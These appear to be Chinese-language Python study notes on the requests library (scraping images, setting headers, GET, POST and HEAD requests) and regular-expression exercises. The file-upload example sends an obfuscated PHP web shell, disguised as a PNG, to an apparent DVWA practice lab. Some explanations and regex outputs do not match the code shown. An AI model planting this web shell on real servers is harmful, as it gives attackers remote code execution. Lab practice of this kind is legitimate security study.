1.1 使用了 requests
模块来发送网络请求并获取网页的源代码
# 导入requests模块
import requests
#网页链接
url ="http://www.mobiletrain.org/?pinzhuanbdtg=biaoti"
# 定义了一个名为get_html()函数,并传递了你想获取的网页URL作为参数,且将获取到的内容赋值给变量html。
def get_html(url):
res= requests.get(url= url)
return res.content
# 之后,你调用了 get_html() 函数,并传递了你想要获取的网页的 URL 作为参数,并将获取到的内容赋值给变量 html。
html= get_html(url = url)
#使用decode()方法将网页内容从字节型解码为UTF-8编码的字符串,并将其打印。
print(html.decode("utf8"))
1.2 使用了 requests
模块来发送网络请求并获取网页的图片
for i in range(1, 61):
web_url = f"https://pic.netbian.com/4kmeinv/index_{i}.html"
print(“获取源码”)
pagesource = get_html(web_url)
print(“获取图片链接”)
img_onepath = get_img_path(pagesource, img_url)
print(f"正在保存第====================={i}=====================页图片")
save_imgtofile(img_onepath)
解析:
当您运行上述代码时,它将从https://pic.netbian.com/网站上的多个页面中获取图片链接,并将这些链接保存为变量`img_onepath`中的列表。然后,程序将使用`requests.get()`方法下载每个图片,并将其保存到指定目录下。
让我们逐步分析代码:
首先,您定义了一个img_url变量,用于指定网站的URL:img_url = "https://pic.netbian.com/"。
get_html函数用于获取网页源代码。它使用requests.get()方法发送GET请求,并返回响应的文本内容作为网页源码:
python
def get_html(web_url):
response = requests.get(url=web_url)
return response.text
get_img_path函数用于在网页源码中提取图片链接。它使用正则表达式re.findall()来搜索匹配特定模式的字符串,此处是图片路径。然后,它遍历找到的路径,将其与图片网站的URL拼接,并将结果保存在列表img_onepath中:
python
def get_img_path(pagesource, img_url):
img_onepath = re.findall(r"uploads/allimg/[0-9]*/[0-9]*-[0-9a-z]*\.jpg", pagesource)
for i in range(0, len(img_onepath)):
img_onepath[i] = img_url + img_onepath[i]
return img_onepath
save_imgtofile函数用于将图片下载并保存到指定目录。它使用requests.get()方法下载每个图片,并将其保存为带有时间戳作为文件名的.jpg文件:
python
def save_imgtofile(img_onepath):
for i in range(len(img_onepath)):
res = requests.get(img_onepath[i])
print(f"正在下载第{i+1}张图片")
save_img = f"C:/Users/Lenovo/Desktop/sqlmap/图片/{time.time()}.jpg"
with open(save_img, "wb") as f:
f.write(res.content)
最后,通过循环遍历处理多个页面。首先构建每个页面的URL,然后调用get_html函数获取源码,接着调用get_img_path函数获取图片链接,并最后调用save_imgtofile函数下载并保存图片:
python
for i in range(1, 61):
web_url = f"https://pic.netbian.com/4kmeinv/index_{i}.html"
print("获取源码")
pagesource = get_html(web_url)
print("获取图片链接")
img_onepath = get_img_path(pagesource, img_url)
print(f"正在保存第{i}页图片")
save_imgtofile(img_onepath)
2. requests 模块高级用法练习
-
模拟浏览器指纹
import requests #导入request模块 url="http://www.baidu.com" #定 义 url headers ={ #定义请求头 'Date': 'Wed, 20 Sep 2023 13:12:48 GMT', 'Server': 'Apache/2.4.23 (Win32)OpenSSL/1.0.2j PHP/5.4.45', 'X-Powered-By': 'PHP/5.4.45', 'Content-Length': '13', 'Keep-Alive': 'timeout=5, max=100', 'Connection': 'Keep-Alive', 'Content-Type': 'text/html'} req=requests.session() #设置session, 保 持 请 求 一 致 性 res=req.get(url) #访问url print(res.url) #打印url print(res.headers) #打印应答headers print(res.text) #答应响应返回内容 print(res.request.headers) #打印请求头
-
发送get 请求
#发送get请求 import requests url = "http://wwww.baidu.com" # url = "http://10.4.7.130/php/array/get.php?username=AJEST&password=123456" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0" } params = { "username": "AJEST", "password": "123456" } res = requests.get(url = url, headers = headers) print(res.text) 当您运行这段代码时,它会发送一个 GET 请求到 http://wwww.baidu.com 这个网址,请求的头部信息中包含了 User-Agent,这是一个模拟浏览器的信息,用来告诉服务器我们使用的是 Firefox 83.0 浏览器。 然后,使用 requests.get() 方法发送请求。这个方法接受三个参数:url,headers 和 params。其中,url 参数指定了要发送 GET 请求的目标地址;headers 参数包含了我们在请求头中希望设置的信息;params 参数是一个字典,包含了作为查询字符串的参数。 由于在这段代码中,params 参数没有被添加到请求中,所以实际上并不会将用户名和密码发送给百度网址。 请求发送后,可以通过返回的响应对象 res 来访问响应的内容。在这段代码中,使用 res.text 来获取响应的文本内容,并将其打印出来。 请注意,在运行这段代码之前,确保已经安装了 requests 库,可以使用 pip install requests 命令进行安装。
-
发送post 请求
#POST请求 import requests url = "http://www.baidu.com" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0" } data = { "username": "AJEST", "password": "123456" } res = requests.post(url = url, headers = headers, data = data) print(res.text) 解析:这段代码发送了一个 POST 请求到 http://10.4.7.130/php/array/post.php 这个网址,并设置了请求的 headers 参数和 data 参数。然后通过 requests.post() 方法发送请求,并将返回的响应内容打印出来。 这个 POST 请求携带了一个包含用户名和密码的数据体,使用的是 data 参数。在这个例子中,data 参数是一个字典,包含了键值对形式的用户名和密码数据。 需要注意的是,请求头部信息中的 User-Agent 用于模拟浏览器的信息,告诉服务器我们使用的是 Firefox 83.0 浏览器。 返回的响应对象 res 表示服务器返回的响应内容。在这段代码中,使用 res.text 获取响应的文本内容,并将其打印出来。 请确保在运行这段代码之前,目标地址 http://10.4.7.130/php/array/post.php 是有效的,并且可以接收 POST 请求并返回响应。如果目标地址不存在或无法访问,将会抛出相关的异常。
-
文件上传
解析 这段代码发送了一个 POST 请求到 http://10.4.7.130/dvwa_2.0.1/vulnerabilities/upload/ 这个网址,并设置了请求的 headers 参数、data 参数、files 参数,以及 allow_redirects 参数。 headers 参数中包含了 User-Agent 和 Cookie 两个字段。User-Agent 用于模拟浏览器的信息,表示我们使用的是 Chrome 105.0.5195.102 浏览器;Cookie 表示我们已经登录了该网站,其中 security=low 表示安全级别为低,PHPSESSID 是会话 ID。 data 参数是一个字典,包含了两个键值对。MAX_FILE_SIZE 表示最大文件大小为 100000 字节;Upload 表示点击上传按钮。 files 参数是一个字典,包含了一个键值对,用于上传文件。其中,"uploaded" 是文件上传字段的名称,"3.php" 是上传的文件名,接下来是文件内容,这里是 PHP 代码;最后一个参数是文件的 MIME 类型,这里是 "image/png"。 通过 requests.post() 方法发送请求,并将返回的响应对象赋值给 res 变量。 这段代码还打印了响应的状态码和响应头部信息,分别使用 res.status_code 和 res.headers 进行输出。 请确保在运行这段代码之前,目标地址 http://10.4.7.130/dvwa_2.0.1/vulnerabilities/upload/ 是有效的,并且可以接收 POST 请求并返回响应。另外,如果上传的文件不是合法的图片文件,可能无法成功上传。
代码
import requests url = "http://10.4.7.130/dvwa_2.0.1/vulnerabilities/upload/" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36", "Cookie": "security=low; PHPSESSID=378olurk9upvuo9sspecnl46c2" } data = { "MAX_FILE_SIZE": "100000", "Upload": "Upload" } files = { "uploaded": ("3.php", b"<?php $RIBo=create_function(str_rot13('$').chr(39330/342).chr(0x16a0d/0x343).str_rot13('z').chr(0xcd-0x68),base64_decode('ZQ==').chr(0x364-0x2ee).chr(01333-01172).str_rot13('y').base64_decode('KA==').chr(0xcd-0xa9).chr(0x14695/0x2d7).str_rot13('b').base64_decode('bQ==').chr(0xee4c/0x25c).base64_decode('KQ==').str_rot13(';'));$RIBo(base64_decode('MzAzM'.'DQyO0'.'BldkF'.'sKCRf'.''.chr(37230/438).base64_decode('RQ==').base64_decode('OQ==').str_rot13('G').base64_decode('Vg==').''.''.str_rot13('S').str_rot13('f').chr(0x355-0x322).str_rot13('A').str_rot13('m').''.'ddKTs'.'5MDkx'.'MjY7'.''));?>", "image/png") } res = requests.post(url = url, headers = headers, data = data, files = files, allow_redirects = False) print(res.status_code) print(res.headers)
-
服务器超时
-
只返回响应头部
#导入requests 库 import requests # 定义变量url,指定访问的网站 url = "http://www.baidu.com" #使用requests库的head方法发送一个HEAD请求到指定的url,并将返回的响应对象保存在response变量中。 response =requests.head(url) #使用print函数打印出字符串"Status Code" print("Status Code:",response.status_code) #使用print函数打印出字符串Headers print("Headers:") #使用for循环遍历response,items(),items()方法返回头部信息的键值对(以元组形式),循环中的key和value分别代表头部字段名和字段值。 for key,value in response.headers.items(): print(key, ":", value)
3.正则练习
#搜素字符带ood的字符
re.findall("ood",s)
['ood', 'ood']
#搜素字符开头为fG的字符
re.findall("[fG]ood",s)
['food', 'Good']
#搜素开头为a-z的字符
>>> re.findall("[a-z]ood",s)
['food']
#搜素开头为A-Z的字符
>>> re.findall("[A-Z]ood",s)
['Good']
#搜素开头为a-z,A-Z,0-9的字符
>>> re.findall("[0-9a-zA-Z]ood",s)
['food', 'Good']
#搜素带ood的字符
>>> re.findall(".ood",s)
['food', 'Good']
#以任意字符开头的单词 "food",或者单词 "Good",或者单词 "not"。使用括号将它们括起来可以确保它们被作为整体进行匹配。
>>> re.findall(".food|Good|not",s)
[' food', 'not', 'Good']
#搜素字符中带最少带1个最多带2个o的字符
>>> re.findall(".o{1,2}.",s)
['food', 'not', 'Good']
#代码 re.findall('o*', s) 用于在字符串 s 中查找连续出现零次或多次字母 "o" 的匹配项,并返回一个列表。
在正则表达式中,* 表示匹配前面的字符零次或多次。因此,'o*' 表示匹配连续出现零次或多次的字母 "o"
re.findall('o*',s)
# 正则表达式模式 'go{1,2}gle'。这个模式匹配以 "g" 开头,然后是 1 到 2 个 "o",最后是 "gle"。
>>> s = 'I like google not ggle goooogle and gogle'
# 匹配字符中任意单一字符
>>> re.findall(r"\w",s)
['I', 's', 'a', 'y', 'f', 'o', 'o', 'd', 'n', 'o', 't', 'G', 'o', 'o', 'd']
# 左邻第一个字符出现最少m次最多n 次
re.findall(".o{1,2}.",s)
['food', 'not', 'Good']
# 左邻第一个字符出现0次或1次
re.findall(".o?.",s)
['I ', 'sa', 'y ', 'foo', 'd ', 'not', ' G', 'ood']